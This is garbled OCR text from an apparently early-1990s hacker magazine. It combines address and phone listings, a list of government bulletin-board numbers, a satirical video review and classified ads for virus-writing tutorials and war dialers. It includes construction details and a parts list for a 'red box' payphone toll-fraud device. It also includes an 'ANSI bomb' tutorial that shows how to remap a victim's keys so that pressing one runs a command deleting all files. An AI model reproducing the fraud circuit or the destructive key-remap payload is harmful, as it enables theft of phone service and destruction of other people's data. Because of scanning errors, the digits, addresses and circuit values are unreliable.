VAE820, 2340 DULLES CORNER BLVD, HERNDON, 22071, 703B347000 
VAF140, 2355 DULLES CORNER BLVD, HERNDON, 22071, 703B347000 
VA4360, 301 PROSPECT AVE, HURT, 24663 
VA4390, RR 1 BOX 262, KESWICK. 22947 
VAE480, RR 2 BOX 197, KEYSVILLE, 23947 
VA7650, 7705 TIMBERLAKE RD, LYNCHBURG, 24502, 8042376668 
VAD300, 800 MAIN ST, LYNCHBURG, 24504, 8048452855 
VA2170, 878 BROAD STREET RD, MANAKIN-SABOT, 23103 
VA6470, 10110 BATILEVIEW PKY, MANASSAS, 221 10 
VA6007, 1761 CHAIN BRIDGE RD, MC LEAN, 22102, 70336661 45 
VAD42O, 7926 JONES BRANCH �, Me LEAN, 22102, 2024572480 
VA4590, 20425 DUVAL RD, MOSELEY, 23120 
VAS150, 1 1771 ROCK LANDING DR, NEWPORT NEWS, 23601 
VA0060, 136 W BUTE ST, NORFOLK, 23510, 6046239780 

VA1520, 2601 ALMEDA AVE, NORFOLK. 23513, 804B577505 
VA9650, 3440 TRANT AVE, NORFOLK, 23502 
VA03OQ, 5505 ROBIN HOOD RD, NORFOLK. 23513 
VA60Q2, 700 N MILITARY HWY, NORFOLK, 23502, 8044612046 
VAB190, 9100 HAMPTON BLVD, NORFOLK, 23505, 6044402702 
VAXSOO, BLDG Yl00A NAVAL SUPFLY, NORFOLK. 23512 
VAK210, RTS 60& 646 PO BOX 337, NORGE, 23127 
VA0240, 816 PARK AVE, NORTON, 24273, 70367999B3 
VAC350, 3033 CHAIN BRIDGE RD, OAKTON, 22185, 7036915000 
VA7680, 2787 S CRATER RD/#D2, PETERSBURG, 23801, 7033B59731 
VA4410, RR 1 BOX 555, PURCELLVILLE, 22132 
VAD290, 1001 E BROAD ST, RICHMOND, 23219, 6046442105 
VA343Q, 1 1500 MIDLOTHIAN TPKE, RICHMOND, 23235 
VAQ450, 1 530 E PARHAM RD, RICHMOND, 23228 
VA3427, 1601 WILLOW LAWN DANV BROAD ST, RICHMOND, 23230, 

8042884358 
VA7750, 2412 GRENOBLE RD, RICHMOND, 23229, 6042B20624 
VAK230, 2500 TIJRNER RD, RICHMOND, 23224, 6047456545 
VAC190, 2510TURNER RD, RICHMOND, 23224, 604745f!13OO 
VA7780, 2806 DECATUR ST, RICHMOND, 23224, 6042324097 
VA2100, 3205 LANVALE AVE, RICHMOND, 23230, 804353001 2  
VA3678, 4500 S LABURNUM AVE, RICHMOND, 23231, 8042265000 
VA9020, 600 E BROAD ST, RICHMOND, 23219, 6047753300 
VAOO10, 703 E GRACE ST, RICHMOND, 23219, 8042251509 
VA1B40, 8424 SANFORD DR, RICHMOND, 23228, 8042621516 
VA7660, 13i6 PLANTATION RD NE, ROANOKE, 24012, 7039821541 
VAS160, 1322 PLANTATION RD, ROANOKE, 24012 
VAS140, 1336 PLANTATION RD, AOANOKE, 24102, 703982031 1 
VA3205, 1338 PLANTATION DR, ROANOKE, 24012 
VAOCIJIJ, 225 FRANKLIN RD SW, ROANOKE, 2401 1 ,  7033423480 
VA9310, 4802 VALLEY BLVD, ROANOKE, 24012 
VAE84Q, 1620 APPERSON DR, SALEM, 24153 
VA389Q, AT 1 BOX 194, SOUTH HILL. 23970 
VA3429, 6601 SPRINGFIELD MALL FRANCONIA RD & 195, 

SPRINGFIELD, 22150 
VA0420, 1593 SPRING HILL RD, VIENNA, 22180 
VAS010, 1921 GALLOWS RM6QO, VIENNA, 22180 
VAVFOO, 1945 GALLOWS RD, VIENNA, 22180 
VA9070, 7980 BOEING CT, VIENNA, 22180 
VA0380, 799O BOEING CT, VIENNA, 22182 
VA9060, 317 BIRCHWOOD PARK DR, VIRGINIA BEACH, 23452, 

8043400513 
VA933Q, 701 LYNNHAVEN PKY, VIRGINIA BEACH, 23452 
VA3670, 195 KErTH ST/lI3, WARRENTON, 22186 
VAS48B, 1315 JAMESTOWN RD/ill04, WILLIAMSBURG, 23185 
VA9650, 220 F ST, WILLIAMSBURG, 23185 
VA3203, 1 10 FEATHERBED LN/#7, WINCHESTER, 22601 

WEST _  
WV306O, 294 RAGLAND RD, BECKLEY, 25801, 3042562100 
WV2940, 1 DAVIS sa. CHARLESTON, 25301 
WV3422, 1003 CHARLESTON TOWN CTA, CHARLESTON, 25389, 

3043469239 
WV2660, 1020 ONE VALLEY Sa. CHARLESTON, 25301 
WV2610, 1219 VIRGINIA ST E, CHARLESTON, 25301, 3043470222 
WV2580, 410 BROAD ST, CHARLESTON, 25301, 3043455041 
WVOOl0, a16 LEE ST E, CHARLESTON, 25301, 3043575544 
WV4050, 900 PENNSYLVANIA AVE, CHARLESTON, 25302, 3043472000 
WV1750, 100 OHIO AVE, CLARKSBURG, 26301 
WV403Q, 1 1 0 SIMPl5QN ST, CLARKSBURG, 28301 
WVOOl0, 425 HOLDEN ST, CLARKSBURG, 28301 
WVS130, 363 BLAINE AVE, ELKINS, 26241 
WV3070, 503 MORGANTOWN AVE, FAIRMONT, 26554 
WVOO3Q, 1 137 6TH AVE, HUNTINGTON, 25701 
WV3010, 241 1 JOHNSTOWN RD, HUNTINGTON, 25701, 3045266800 
WVl030, 712 N JEFFERSON ST, LEWISBURG, 24901 
WV4060, TABLER STATION RD, MARTINSBURG, 25401, 3042636931 
WV303Q, 1716 MILEGROUND RD/#C, MORGANTOWN, 28505, 

3042960052 
WV3412, GREENBAG RD, MORGANTOWN, 28505, 3042929904 
WV308O, 1003 JAD ST, NEW MARTINSVILLE, 26003 
WVN100, 4200 1ST AVE/lll07, NITRO, 251 43  
WV4040, 3601 EMERSON AVE, PARKERSBURG, 26104, 3042739903 
WV0510, 921 MARKET ST, PARKERSBURG, 26101,  3044289969 
WVOB5O, AT 2, RAINELLE, 25969 
WV4000, 208 SYCAMORE ST, RAVENSWOOD, 26164 
WV2050, AT 1 BOX 1028, ROWLESBURG, 26425 
WV305O, 716 5TH AVE, SAINT ALBANS, 25177, 3047225839 
WV208O, NAVAL RADIO ST R GENERAL DELIVERY, SUGAR GROVE, 

268 1 5  
wvooao, 1 50 1  CHAPLINE ST, WHEELING, 26003, 3042325616 
WVL 1 00, 2744 E OFF ST, WHEELING, 26003 
WV9000, 1 4 1 8  W 3RD AVE, WILLIAMSON, 25661 

� more to come � 
'count on itt 
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gove rnment bu l l et i n boards 
202-205-6289: SBAt-BSS: Smal l  Bus. Admin internal BSS 
202·208· 1 78 1 :  FERC-CIPS BSS: Fed Energy 

Reg ulatory Commission 
202·208-7 1 1 9: OEA ses: Interior's Off of Environment Affa irs 
202-208-7879: eIC-BSS (GSA): Consumer I nformation Center 
202-219-20 1 1 :  DERI BSS: Education Research 

and Improvement 
202-21 9-4784: Labor News: Dept of Labor information and files 
202-225-5627: Fed Whistleblower: Report fraud, abuse, 

waste i n  the U S  Govt. 
202-275-0920: FRENO #1; Fed. Reg Elect. News Delivery 
202-342-4568: ADA ALS/Navy: Ada Language Sysl 

Navy Bu l letin Board 
202·367.()358: STIS (NSF): Science & Tech Information Sys 
202-388-3764: FHA BSS: FHA staff and i nteres.ted publ ic 
202-378--7 1 00: USCS-BSS (Customs):  Cust.  and 

Exchange Rate Data & Info 
202�43a.a530: NCTS BBS: Navy Computer & Telecom 

Station (Autovon:  288-4420) 
202--476-7643: Metro-Net: Army Morale, Welfare and Rec. 
202-482-1 423: OPBO·BBS: Internal comm. for DOC employees 
202-482-3870: EBB: Economic data and i nfo 
202�601"()373: BOM-BBN: Bureau of M ines - Bul letin Board Net 
202·60 1 ·2014: IRSC BBS (GSA): GSA information and l ists 
202·&0 1 ·762 1 :  EOUSA·BBS: BBS for U . S .  Attorney. 
202-6 1 2- 1 397: FEDERAL BBS: G PO and Government Data 
202·5 1 4-8 1 02: OIS: U S  Bureau of Prison Employees 
202-614-8193: CRS-BBS: Amer. With Disabil ities Act Info 
202-523- 1 1 88: TEBBS (OGE): Office of Government Ethics BBS 
202-523--7399: VA-BBS: VA i nfo and PC programs 
202�588-0739: Megawatt 1 :  I nformation on energy and 

Dept.  of Energy 
202-686-2567: EPUB:  Energy information and data 
202-58&.-6496: TELENEWS: Data and i nfo on Fossil fuels 
202·586-8668: Energy Information: PetrOl, Coal, 

E lectric, Energy Stats 
202-806-2875: PayPerNet#1 (OPM):  Fed. Pay & 

Per. Management BBS 
202 ___ 2: N OAA·ESDD (NOAAI: NOAA 

Earth Sys Data Direct 
202-632- 1 38 1 :  FCC-State L ink: FCC daily digest & 

carrier statsl report 
202-634·1784: SRS: Fed. R&D budge, Tech labor market stats 
202-646-2887: SALEMDUG-BBS: State and lo<?al 

FEMA user groups 
202-647 .. 9225: CABS: Passport Infol Travel Alerts 
202-653--1 079: U S N O  ADS: GPS data, sunr ise/set/ 

surveying data 
202-653-1518: CASUCOM (GSA): I nteragency

· 

Shared Serv/Resources 
202-890-5423: OASH-BBS (NAPO): AIDS Information & Reports 
202-707-3854: LC News Service: Li brary of Congress 

News Service 
202-707-4888: ALlX: Automated Library I nfo eXchange 
202·7011-3583: H UD·N&E BB (HUDI :  H U D  

News & Events BB P R 
202-727-8868: DCBBS: DC Government Information 
202-814-88 1 7: FMS BBS: I nventory management 

data & programs 
205-895-0028: NASA Spacel ink :  Education affairs, 

fit data, space h istory 
2 1 0-925-9098: Kelly AFB: 
301 ·286·9000: NSSDC/NASAlGd: The NASA 

NODIS Locator System 
301 -436·5078: NOB-BBS: Human N utrition I nformation Service 
301 -504-85 1 0: ALF: National Agricultural Library BBS 
301 -585-0204: SWICH BBS: E PA Sol id Waste Management 
301 -589-0205: N PS-BBS (EPA�: Nonpoint Source Program BBS 
301 -589-3536: ABLE INFORM: Nat Rehab' Center & 

DAta of Asist. Tech 
301 ·589-8368: CLU-IN (EPA):  S uperfund Data and I nformation 
301-870-381 3 :  ATTIC (EPA): Alternative Treatment 

Tech I nfo Cent. 
301 -725- 1 072: FCC Public Access: Equip_ authorization 

status advisory servo 
301 ·738-8895: NCJRS-BBS: National Cr immial  

J ustice Reference Sys. 
301 -763-4574: CPO-8BS (Census);  Jobs at the "Census Dept 

301 ·783·7554: Census-SEA (Census): Census BEA 
Electronic Forum 

301 -878-4573: Fort Richie:  
301-899-1 1 73: S.  Weath. Data (NWS): Sample data 

from Fee Based System 
301 -921 -8302: FRSBS ( N IST): FRBBS - Info on F i re Research 
301 ·948·2048: DMIE ( N IST/NCSLi:  N I ST/NCSL 

Data manage Info 
301·948-5140: Computer Sec . (N IST): Nat Camp Sys 

Lab Comp Security B8S 
301 ·986·7938: HSOL·BBS IHHS&UMdl:  

Head Start BBS (Region I I I )  
303-273-8672: USGS OED: Earthquake epicenter 

data, geomagnetism 
303--494--4775: N I ST ACTS: Auto Camp Tele Service, 

PC to NBS Time 
303-497-5042: NOAA Space Lab: Solar flare and 

geomag netic data 
3 1 5·172-7838: Fort Drum: 
401·841 ·3990: Naval Justice Sch,:  
406-731-2503: Malstrom AFB: 
41 0-443·7495: FDAlDM MS: PMA, IDE, 510k & 

guidance documents 
41 0�3-98 1 7: IHS-BBS (HHS) :  Indian Health Service BaS 
8 1 8·370-0 1 18: NRRC: Naval Reserve Readiness Center 
703·274-&883: DASC·ZE: PC I nfo and file. 
703·281·9837: USA-GPCS BBS: Army I nfo System Software 
703-306-5919: PIM BBS (EPA): Pesticide I nformation Network 
703-326-0748: JAG-NET: Navy J udge Advocate General 
103-487--4081 :  Patent Lic. BBS: Speeds acc. to Fed Lab research 
703-108-1 025: PPIC-SBS ( E PA): Pol lution Prevention, 

Clean Product, Ozone 
703-524-4149: Fort Meyer:  Officers' Club 
703-602-1818: NGWS 88S: Naval G u n  Weapon System BBS 
703-81 4-02 1 5 :  ADAIC: ADA Information 
703-81 4-8059: N U PERS Access: Navy Personnel  I nformation 
103-648-4168: USGS�B8S (USGS): Geological Survey 

eesl CD·ROM i nfo 
703-893·3831 : NADAP: Navy Drug and Alcohol Abuse Prev. 
703-897·8109: ELISA System: 000 Export License 

Tracking System 
703·748·2845: ASN: 
703-766-81 09: BRX Info Corner:  BBS for IRS Employees 
703-787- 1 1 8 1 :  Offshore-BBS: Off Shore Oil & Gas Data 
703·888-3890: GPSIC: Information on Global 

Positioning System 
103-888-3894: GPSIC: GPS & Loran Info, Status & Data 
7 1 7-888-3037: Fort Ben n ing :  
800-222-0 1 85: FDA's BBS: FDA i nfo and policies 
800-229-3737: DRIPSS (EPA): Drinking water 

I nfo Process Support 
800-231-4882: Gulf l ine(EPA&NOAA): Gulf  Coast Pol lut ion Info 
800-331-3808: CERCNET (DARPA): Concu rrent 

Engi neering Research Net 
8()()..358·2883: OED-BBS (USGS) :  Ok epicenter 

Determ and EO Data 
800-735-7396: WSCA-BBS: Board of Wage & 

Service Contract Appeal 
800-783-3349: FEDIX: Links Fed Data to Hig her Education 
800-.59--4836: SSA On L ine (SBA): SBA Information and data 
803·668-4316: Shaw AFB: 
804-444-7841 : ADA Tech Supp. BBS: Assist ihterested in  ADA 
804-784·3991: Langley AFB: 
805-985-9527: B ULLDOG WEST: Harpoon support 
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UIDEO RfUI.EW , " '. 
Assorted Videos se t  t h e  bas ic  facts s t ra ig h t  a�d e l i m i na te  
Commonwealth Films ignorance." Oh, if only we could.  
223 Commonwealth Avenue The "facts" that we are h i t  with run counter 
Boston, MA 02116 to every inst inct a human be ing could have. 
Review by Emmanuel Goldstein The SPA, and anyone who fal ls for their  self-

The corporate world contributes a great deal r igh teous dogma ,  l i ves in a fantasy worl d .  
to the lives o f  the everyday human.  Perhaps the They actual ly expect everyone to not only pay 
most sign ificant g ift they offer, second only to outrageous prices for every bit of software on 
global pollution , is the wonderful  art form known the i r  machines,  but to pay these prices again 
as corporate comedy. w h e n ever  they  copy a p rogram to anot h e r  

We've a l l  seen i t  in some way. Whether it's m a c h i n e .  A n d  for t hose  p e o p l e  w h o  c a n ' t  
a phone company claiming o n e  of their memos afford to pay $500 for a word processor, SPA 
is worth $80, 000 or a govern mental  agency takes t h e  pos i t ion that  s u c h  peop le  s imp ly  
saying they bel ieve a raid can  actual ly help a s h o u l d  n o t  h a v e  access . I n  o the r  word s ,  
business become profitable, it's al l  of the admission to technology is sole ly for people 
same humor. After a l l ,  it is i t h  m o n e y  to  s p en d .  I t ' s  
a big joke, isn't it? An th is p hi losophy that 
from real ity i nto the progress i n  the 
the absurd i n  order to and wil l continue  to do 
l i fe more bearab le .  Art i n  to  a fa r  greater deg�Ele i f  
truest form . unchal lenged. Access to 

Those of you who wish to f u t u re is s o m e t h i n g  
enjoy the latest i n  h n e e d s  t o  b e  
comedy o u g h t  to not restr icted .  
three videos recently developers should ,  
by Commonwealth F i lms.  We From VlI'1IS, an of a trojan horse. a n d  w i l l ,  m a k e  t o n s  o f  
Lost Control: /IIegal Software Too bad aU the acting isn't thioi good. money .  A n d  when  the  d u st 
Duplication is easily the funniest . This 1 6  minute f inal ly sett les,  it ought to become qu ite clear 
piece is designed to put the fear of the Lord into that the SPA posit ion art iculated in th is f i lm 
anyone who's even thought of copying software. was never  about fa i r  compensatio n .  It was 

The story unfolds through the eyes of Steve s imply greed. 
Roberts, head of a company that wasn't careful The othe r  t.wo f i l m s ,  Vir u s :  Prevention, 
enough .  Federal marshals conduct a raid and D e t e c t i o n ,  R e c o v e ry a n d  B a c k  i n  
find that, 10 and behold, every piece of software B u s i n e s s :  D i s a s t er R e c o v e ry/B u s i n e s s  
i s  not a ccounted forI This could spell doom for R e s u m p t i o n  a ct u a l l y  o f f e r  s o m e  u s e f u l  
h i m  and everyone he's ever known, according suggestions ,  the most basic be ing  to m a ke 
to h is lawyer who can't seem to say a s ing le backups and keep them offs i te .  N ewsf lash .  
positive word . Yes, Steve, the Software Piracy T h e re are  a few good l a u g h s  i n  these  
Associat ion d i d  the i r  homework - you ' re not offe r i n g s  as w e l l  s i n c e  e v e ry th i n g  has to 
exactly squeaky clean - out of the hundreds of b e  e x a g g e ra t e d  b e y o n d  b e l i e v a b i l i t y  i n  
cases SPA has p rosecuted, they've only lost o r d e r  t o  d r i v e  t h e  p o i n t  h o m e .  F o r  
o n e  - yo u ' re l iab l e  for  u p  t o  $ 1 0 0 , 000 pe r e x a m p l e ,  w e  a re i n t r o d u c e d  t o  a d a r k  
unauthorized copy of each program,  including h a c k e r  w h o  s p e a k s  t o  us f r o m  w i t h i n  a 
the ones you've bought - you'd better hope the s h adow w i t h  a: d i s g u i se d  v o i c e .  H i s  s a l e  
media doesn't latch onto this a n d  ruin your  l ife reason  of ex i s tence  is to m ake  o u r  l ives  
even more . . . .  Steve does some serioul;I sou l - m iserab le .  R e m e m b e r  that .  
searching ( " I  had no idea we were In so deep") A l though we cou ld  f i nd  l i tt l e  more than 
and realizes that copying a program is  i ndeed sentence  st ructu re to a g re e  w it h  in these 
exactly  l ike steal ing a computer .  "For  some offe r i n g s , we do recom m e n d  t h e m  to o u r  
reason,"  he ponders, "it didn't seem serious." At r e a d e rs a s  a f a s c i n a t i n g  s t u d y  of a l i e n  
this point, the viewer feels compelled t o  shake c u l t u r e .  As a f i n a l  e x a m p l e  of t h e  u t t e r  
the T V  and scream a t  Steve t o  come out o f  his t h o ro u g h n e s s  of  c o r p o ra t e  c o m e d y ,  t h e  
corporate coma. But alas, i t  Just gets worse. I n  a pr ice for  these t h ree f i l m s  (63 m i n utes total 
rather patronizing tone,  h is lawyer Says, "Let's v iew ing  t ime )  is $ 1 338 . 7 5 .  Happy v iewi n g .  
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switch ing  equipment to set up working h i storical 
display. Need l ine relay sets, l ine finders, d istributor, 
s e l e c t o r s ,  a n d  i n d i v i d u a l  a n d  t r u n k - h u n t i n g  
connectors. Contact Leland,  2525 S .  Meade St. , 
Denver, CO 80219. E-mail :  leland @ csn .org. 
MUTATION ENGINES! Get the facts i n  Computer 
Virus Developments Quarterly. The Spring issue 
includes the Dark Avenger's M utation Engine (and 
others) ,  as well as a tutorial on how to write one. 
Single issue with disk, $25. Year's subscription, $75. 
Send to :  American Eagle  Publ icatio n s ,  PO Box 
4140H, Tucson ,  AZ 85717. 
DRIVE DOWN YOUR CALLING CAR D  COSTS. 
You can c a l l  from A N Y  t o u c h  t o n e  p h o n e  
ANYWHERE in  the continental U .S. ,  Virgin Islands, 
and Hawaii and save up to 50%. No surcharge. No 
monthly fees. Discount plans available down to . 149 
per m inute. Make money with th is !  TSA, PO Box 
8791, Mandeville, LA 70470. 
BODEGA BAY. Turn your  Amiga 500 into an Amiga 
2Ooo! Comes complete with a 200W power supply 
for only $ 150 post-paid !  Call John at (303) 733-
51 36. 
INTERESTED IN EXCHANGING HIP/AN INFO? All 
systems tons of files. Write to P.O. Box 934, 5900 
AX V e n l o ,  T h e  N e t h e r l a n d s  or e - m a i l :  
omg @ utopia. hacktic. n l .  
GENUINE 6.5536 MHZ CRYSTALS o n l y  $ 5 . 0 0  
each with detai led installation instructions. Orders 
shipped postpaid via First Class Mail .  Send payment 
(checks delayed 2 weeks) with name and address 
to: E l ectron ic  Des ign System s ,  144 West Eagle 
Road, Suite 108, Havertown, PA 19083. 
FOR SALE: COMPAQ Portable 386DX. 10mb RAM , 
11 0mb H D ,  80387DX, removable tape backup, VGA 
board, color monitor, i nternal 2400 baud modem, 
three expansion u n its (w/2 ISA slots each) ,  DOS 
5:0, m a n u a l s ,  cab les ,  d i s kettes ,  tapes, leather  
carrying case. Virtually unLised. $ 1500 or best offer. 
2600 voice mailbox 27257. 
WANTED: plans, stories, schematics , i nfos, soft and 
hardware about eavesdropping analog and dig ital 
com munications: GSM,  PCN, CT2+,  CT3, DECT, 
DCS (TDMA, FH, FFSK, PSK, GMSK, and another 
D i g it a l - M o d u l a t i o n ) ,  M u lt i p l e x - L i n k s ,  van Eack 
Phreaking and Software for  De/encryption . Please 
send the l ist/catalogue/manual to: Spectre, P.O. Box 
45, CH-8060, Zuerich , Switzerland. 
LAST PALA D IN: P l e a s e  contact  T h i p d a r  i n  
Hayward, CA. 
IBM 3.5" 1.44 MEG DISKS FOR SALE. Send $1 fer 
a catalog of virus and assorted hacki ng d isks to: 
P.O.  Box 573 , Long Beach, MS 39560. 
VAX/VMS DOCUMENTATION. Complete set of 
V M S  syste m s  mana\lement  m a n u a l s  ( i n c l u d i n g  

o r  
best offer ( p l u s  sh ipping) .  Contact: Kurt P . ,  POB 
793, Midlothian , VA 23113-0793. 
DEF CON I,  the Mecca for the u nderground .  This 
wil l  be a mind-blowing orgy of information exchange, 
viewpoints, speeches, education, enl ightenment. We 
c o rd i a l l y  i n v i t e  a l l  h a c k e r s ,  te c h n o - ra t s ,  
prog r a m m e r s ,  w r i t e r s ,  act i v i s t s , l a w y e r s ,  
phi losophers, security officials, cyberpunks ,  a n d  all 
network sysops and u se rs to atte n d .  D ivergent  
groups of the underground wil l  coll ide i n  ful l  effect 
for your entertainment .  Speakers wi l l  b lab about 
future computing trends, vir i i  creation, hacking and 
message network administrat ion.  Attorneys & civi l  
l iberties groups + techno bandits = fun.  Def Con I 
wil l  be over the weekend in the middle of downtown 
Las Vegas at the Sands Hotel ,  July 9th , 10th, and 
11th . Contact dtangent @ dtangent.wa.com, or call 
0700-TANGENT for more info. Hotel reservations:  
1.800 . 5 2 1 . 404 1,  U n ited Air l ines:  1 .800 . 5 2 1 . 404 1 
( l D#540i i) .  
WANTED :  Latest War d ia lers a n d  Hacking and 
P h r e a k i n g  P r o g r a m s .  P l e a s e  send e - m a i l  to 
user0 1 @ sung.conestogac.on .ca or write to P.O. Box 
1151, Station B, Sudbury ON, Canada P3E 4S6. 
NEW PRODUCT: Telephone Privacy Plus device 
defeats l ine activated bugging equipment, automatic 
telephone tape recorders, extension eavesdroppers. 
E q u i p p e d  w i t h  L C D  l i n e  v o l t  m e t e r .  $ 19 9 . 00 
S u rvei l lance/Privacy Products Catalog $5.  E D E ,  
POB 337, Buffalo, NY 14226 (716) 691-3476. 
NEED TO FIND A PUBLICATION? Know where 
some are? Let's exchange sources. Contact: Max 
Butler 33949, ICIO, Hospital North Dr. #23, Orofino, 
I D  83544. 
MEET THE ESTABLISHMENT. Plan your calendar, 
s c h o l a rs h i p s  ava i l a b l e .  T h e  s e c o n d  a n n u a l  
international symposi u m  o n  "National Secu rity & 
National Competitiveness: Open Source Solutions" 
wil l  take place in  the Washington DC area the week 
of 2 November 1993. Cyberspace pi lots and hackers 
in demand as speakers and to display good "hacks" 
p e rt i n e n t  to f i n d i n g ,  c o l l a t i n g ,  a n d  prese n t i n g  
information useful t o  decision-makers. Hackers are 
a nat ional  resou rce - but the pol icy-makers and 
business barons (e.g.  those un informed by Forbes) 
need to understand this. Come strut your stuff, awe 
the unin itiated, have a good time. To discuss further, 
communicate with steeler @ well .sf.ca.us,  call (703) 
536-1775, or fax to (703) 536-1776. 
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Toll Fraud Device 
W e  a t  2600 are often asked, "What is  a 

t o l l  fra u d  d e v i c e ?" W e l l ,  we d e c i d e d  t o  
answer t h e  question o n c e  a n d  for al l .  This 
red box is a toll  fraud device. Why is it a toll 
fraud device? Because any red box that can 
be built this cheaply and this easily and can 
fit in the palm of your hand was clearly not 
made for demonstration purposes. 

, so what i s  a red box ? Well  . . .  a 
box i s  

tones 
boxes emit the precise tones used by pay­
phones  to te l l  t h e  l o c al s w i t c h  that the 
appropriate coinage has been inserted. The 
tones are played through the mouthpiece i n  
lieu of dropping coins i n t o  t h e  payphone. 
T h i s  p a rt i c u l a r  red b o x  i s  p a r t i c u l arly 
fraudulent in that it only  simulates quat:ter 
tone s .  A fter a l l ,  w h e n  one commits  toll  
fraud one d o e s  n o t  w a n t  to waste t ime 
pumping virtual nickels and dimes into the 
payphone when quarters work quite nicely 
thank you. 

For those o f  you who are te c h n i c a l l y  
minded, the theory behind the circuit is easy 
enough to grasp. The DTMF encoder (V I )  used 
in conjunction with the crystal (X I )  produces 
the desired frequencies. The decade counter 
( V 2 )  c o n t r o l s  the cadence or how many 
frequency pulses are used. The 555 timer (V3) 
used i n  conj un c t i o n  with R I ,  R2, and C I  
produces the actual pulses and controls how 
fast they are delivered. The circuit is  a good 
hack because it utilizes the carry flag on V2 to 
overcome any stray charge on C I  that may 
cause the first pulse from V3 to be inaccurate. 
It accomplishes this by ignoring the first five 
pulses produced by V3,  processing the next 

five, ignoring the third, etc. The circuit is also a 
good hack because it utilizes that well known 
coincidence in the DTMF encoder, the fact that 
substituting a 6.5 MHz crystal for a colorburst 
crystal (3 .579545 MHz) just happens to raise 
the "*,, key frequencies from 94 1 and 1 209 Hz 
to approximately 1 708 and 2 1 95 Hz. Since the 
desired frequencies for a quarter tone are 1 700 
and 2200 Hz, the output of the circuit is well 
Within tolerance. The cadence is determined by 
the RC combination in V3. Each pulse lasts 
approximately 30 ms, fol lowed by 30 ms of 
silence. 

So fraudulent is  this red box that we at 
2600 have nicknamed it the Quarter. While all 
members of 2600 are morally righteous, and do 
not advocate the use of red boxes for fraudulent 
purposes,  we must admit that if we ever did 
decide to commit toll fraud, we would trust 
nothing less than a Quarter to do the job. 

Obviously, the Quarter will not work with 
Customer Owned Coin Operated (COCOT) 
payphones. You may also have some difficulty 
with newer electronic payphones, as the phone 
companies are finally getting hip to these little 
devices and are isolating the talk path from the 
receiver until the call is established. Still, your 
Q u a r t e r  
s h o u l d  
pro v i d e  y o u  
with hours o f  
fu n - f i l l e d  
l i s t e n i n g  
e. n t e r t a i n ­
m e n ! .  I n  a 
world where 
a one minute 
payphone call 
from W a s h ­
ington DC to 
N e w  York c o s t s  $ 2 . 20 ( a t  the m a x i m u m  
discount rate n o  less !) ,  i t  will hardly surprise us 
at our suburban offices if, while sipping our 
afternoon tea,  we happen to read about a 
sudden proliferation of Quarters across the 
V.S. 
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V+ V+ 

1 6  R3 

SPKR 1 6  3 1 2  
U I  U 2  

I I  1 4  1 5  

7 , 1 3  6 

XI  
R l  R2 

V+ 

3 � 6 

4 CI  U 3  

BOrB :  A l l  crossed l ines on the di agram are points o f  c onne c t ion . 

PU'I'S LXS'l' : 

USXS'I'OllS 
Rl 
R 2  
R 3  

CAPACXTOR 
Cl 

CRYS'I'AL 
Xl 

CHIPS 
U1 
U2 
U3 

SPBADR 
S PKR 

S1fX'I'CB 
S l 

VALUBS 
2 2 0  kOhm 
2 2 0  kOhm 

1 kOhm 

VALUE 
0 . 1  uF o 

VALUE 
6 . S  MHz 

DIll: 
TCM5 0 8 9  
7 4 HC4 0 1 7  
CMOS 5 5 5  

llIPBDAIICB 
6 0 0  ohm 

'l'YPB. 
Momentary 

BOrBS 
The exact values of Rl and R2 are not 
important s o  l ong as the i r  sum is 4 4 0 . 

IJO'l'BS 
6 . 5 5 3 6  MHz is a l s o  wi thin t o l e ranc e . 

BOrBS 
DTMF encoder . 
Dec ade counter . Regular 4 0 1 7  is okay . 
T imer IC . Regu lar 5 5 5  i s  okay i f  a 1 
kOhm re s i s tor is inserted be tween pins 
3 and 8 .  

lIO'I'BS 
Ul expec t s  an equiva l ent load . 

BOrBS 
You may a l s o  want to add a power 
switch . 

As printed. the circuit expects three triple 'A ' batteries for a total of 4. 5 volts. A 9 volt 
battery may also be used. but Rl and R2 should ihen total 470 kOhms instead of 440. 
Obviously. you will also' need a perjboard and chassis if you expect to build the circuit. 
Parts may be ordered from electronic firms. Remember to order at least two of 
everything so that you will have spares in case you mess up. 
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ANSI BOMB 
by Mister Galaxy 

As y o u  k n o w ,  A N S I  c o d e s  are u s ed to 
design colorfu l screens for B B S ' s .  These same 
ANSI codes can be used to redefine the keys of 
a k e y board ( y o u r  key board or that of y o u r  
v i c t i m ) .  For e x a m p l e ,  you c o u l d  u s e  A N S I  
codes t o  redefine your F l O  key a s  the RETURN 
key. When you pressed the F l O  key, i t  would be 
the same as pressing your RETURN key. You 
Gan also use ANSI codes to redefine a key as a 
DOS command.  This  is where the power of 
A N S I  b o m b s  c o m e s  i n to p l a y .  Th i n k  about 
what damage could be done by redefining your 
"W" key as a format command. When you hit 
"W", the computer would spit out a delete or 
format c o m mand and,  before you k n e w  i t ,  
you ' d  b e  crushed ! 

What's Required? 

First of a l l  you must  have the com mand 
DEVICE=ANSI.SYS (or its equivalent) in your 
config.sys fi le.  If you don ' t  know how to do this 
you shouldn ' t  be reading this article ! 

Second, you need a chart of ASCII codes.  
This can usual ly be found in the back of most 
DOS manuals .  

Third, you need the fol lowing information. 
How Do I Make a Bomb? 

There are many ways to make a bomb. The 
fi r s t  w a y  i s  to u s e  the D O S  " P R O M PT" 
command.  For example,  you c o u l d  use this  
command in an AUTOEXEC.BAT file:  
PROMPT $E[65; 1 3 ; "ECHO Y I DEL * . *  > NUL" ; 1 3p 

Note the special characters: "$E" is another 
way to tel l  DOS you are referring to the ESC 
c h arac t e r .  " [ " m u s t  appear after  the E S C  
character. ASCII code 6 5  is the "A" character. 
ASCII code 1 3  is the carriage return code. 

The above com mand redefi n e s  the " A "  
character a s  the fol lowing command: 
HIT RETURN 
REDEFINE "A" AS ECHO Y I DEL *. * > NUL 
HIT RETURN 

G e t  t h e  i d e a ?  Pretty d a n g e ro u s ! 
Unfortunately,  any poor sap who looks in his 
AUTOEXEC.BA T file will quickly notice this. 

Another Way to Make a Bomb 

Go into your DOS 5 editor. Type Control-P, 
let go, and then hit the ESC key. If you did this 
right, a left arrow will appear. For our purposes, 

we w i l l  u s e  E S C  to s y m bo l i ze the e s c a pe 
character (the left arrow ) .  Type the fol lowing: 
ESC [ :  1 3 ; "hel lo" ;  1 3p 
where ESC is that left arrow. 

T h i s  c o m m a n d  w o u l d  r e d e fi n e  y o u r  
RETURN key as: 
HIT P.ETURN 
TYPE HELLO 
HIT RETURN 

Once again,  i t ' s  fairly obvious what is  going 
on. Now on to the sneaky stuff. 

E s s e n t i a l l y ,  the i m p o r t a n t  t h i n g  to 
remember i s  that you can make an ANSI bomb 
execute  A N Y  command you c o u l d  type i n  
DOS . That's  important. Secondly, you can hide 
